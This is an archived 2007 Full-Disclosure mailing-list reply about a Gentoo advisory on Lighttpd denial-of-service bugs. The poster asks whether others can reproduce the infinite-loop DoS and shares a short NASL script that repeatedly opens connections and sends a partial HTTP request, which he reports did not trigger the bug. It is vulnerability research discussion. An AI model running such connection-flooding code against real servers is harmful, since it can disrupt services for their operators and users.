full-disclosure - Re: [ GLSA 200705-07 ] Lighttpd: Two Denials of Service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <c002bd960705260707g344cd65dx67ada6024dd92f2a@mail.gmail.com>
Date: Sat, 26 May 2007 16:07:35 +0200
From: "Michel Arboi" <michel.arboi@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: [ GLSA 200705-07 ] Lighttpd: Two Denials of
	Service

> Robert Jakabosky discovered an infinite loop triggered by a connection
> abort when Lighttpd processes carriage return and line feed sequences.

Could anybody reproduce this DoS? I tried this NASL script without
success. The server rejects connections for about one minute (because
of kazillons of sockets in TIME_WAIT), but it only affects the
attacking source IP and I could not launch any CPU loop.

$ more /tmp/ec.nasl
i=  0;

while (s = open_sock_tcp(80))
{
i ++;
send(socket: s, data: 'GET / HTTP/1.0\r\n');
close(s);
}
display(i, ' done\n');
$

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/